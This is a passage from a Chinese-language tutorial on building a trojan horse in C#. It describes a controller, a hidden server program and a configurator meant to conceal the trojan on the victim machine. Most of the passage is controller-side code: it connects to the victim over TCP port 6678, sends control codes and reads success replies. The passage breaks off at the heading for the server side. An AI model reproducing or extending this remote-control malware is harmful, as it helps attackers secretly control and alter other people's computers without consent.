木馬的介紹
因為本文是探討木馬程序,所以在介紹之前有一些木馬構成的基本知識事先說明。一個完整的木馬系統由硬件部分,軟件部分和具體連接部分組成。這裡主要對軟件部分介紹,它主要有控制端程序、木馬程序(後台服務程序)、木馬配制程序組成。控制端用以遠程控制服務端的程序;木馬程序是潛入服務端內部,獲取其操作權限的程序;木馬配制程序是設置木馬程序的端口號,觸發條件,木馬名稱等,使其在服務端藏的更隱蔽的程序。
使用的技術:
控制端程序發送控制碼控制服務器,服務器後台運行,修改注冊表達到控制的目的。技術不是很難的,主要體現C#的網絡編程和注冊表的修改。
控制端開發:
控制端向服務器發出一段控制碼,服務端(木馬程序)收到控制碼後,根據控制的要求,完成指定的要求,如果服務器完成工作,返回成功的信息。
控制端的開發:
控制碼的設定你可以自已設定,不需要詳解,主要有以下幾個難點。
1、連接請求
使用了.NET類中的 System.Net.Sockets.TcpClient類, TcpClient(string hostname,int port) Hostname 是要控制的主機名稱,當然你也可以用IP地址。 Port是端口。 // System.EventArgs包含事件數據類的基類 private void button7_Click(object sender, System.EventArgs e) { //記錄操作,在richTextBox控件中增加操作信息 richTextBox1.AppendText("請求連接" +textBox1.Text +"\r"); int port =6678; try { //初始化 TcpClient 類的新實例並連接到指定主機上的指定端口 client = new TcpClient(textBox1.Text,port); } catch { MessageBox.Show("服務器不在線!確定是否輸入主機名稱."); richTextBox1.AppendText("服務器不在線!確定是否輸入主機名稱."); } }//private void buttion
2、測試是否與被控制機連接上。程序的流程是發送控制碼看控制端是否有反應,如果有返回則顯示控制成功。 //提供網絡訪問的數據流
//private NetworkStream stream; 代碼如下: private void button8_Click(object sender, System.EventArgs e) { //紀錄操作 richTextBox1.AppendText("測試連接" +"\r"); try { stream = client.GetStream(); if(stream.CanWrite) { //發送控制碼 string control = "jiance"; byte[] by =System.Text.Encoding.ASCII.GetBytes(control.ToCharArray()); stream.Write(by,0,by.Length); //下次使用 stream.Flush(); //啟動接收反回數據的線程 //receive是線程執行的函數,見後面的分析 threadReceive = new Thread(new ThreadStart(receive)); threadReceive.Start(); } } catch(Exception ee) { richTextBox1.AppendText (ee.Message+"\r"); MessageBox.Show(ee.Message); } }
3、控制生效的代碼
private void button9_Click(object sender, System.EventArgs e) { //這裡是確定要發送的控制碼,RadioButton是窗體控件 if(radioButton1.Checked){ control = form2.zhucex;} else if(radioButton2.Checked){ control =form3.zhuces;} else if(radioButton3.Checked){ control = warring;} else if(radioButton4.Checked){ control =suggest;} else if(radioButton5.Checked){ control =form4.mumawe;} else if(radioButton6.Checked){ control =drop;} if (control =="000000") { MessageBox.Show("你沒有輸入任何控制目標!不發控制信號"); richTextBox1.AppendText("你沒有輸入任何控制目標!不發控制信號"); } else if(control != "000000") { try { //記錄操作 richTextBox1.AppendText (control + "正在試圖控制,等待回應......" + "\r"); stream = client.GetStream(); if(stream.CanWrite ) { byte[] by = System.Text.Encoding.ASCII.GetBytes(control.ToCharArray ()); stream.Write(by,0,by.Length); stream.Flush(); threadReceive =new Thread(new ThreadStart(receive)); threadReceive.Start(); }//endif }//try catch { richTextBox1.AppendText("服務器未連接1控制無效!" +"\r"); MessageBox.Show("服務器未連接1控制無效!" +"\r"); } }//else if }
4、線程執行的函數
private void receive() { //設置讀取數據的空間 byte[] bb = new byte[3]; //讀取3個字節,i為實際讀取的字節數 int i = stream.Read(bb,0,3); //轉換成字符串,如果是中文控制碼則用string ss = //System.Text.Encoding.Unicode.GetString(bb); string ss = System.Text.Encoding.ASCII.GetString(bb); //hjc為我設置的服務器的返回碼 hjc為連接成功,hkz為控制成功 if(ss=="hjc") { MessageBox.Show("連接成功"); richTextBox1.AppendText("連接成功"); } if(ss== "hkz") { richTextBox1.AppendText(control +"控制成功"+"\r"); MessageBox.Show(control +"控制成功"+"\r"); } }
服務端的開發: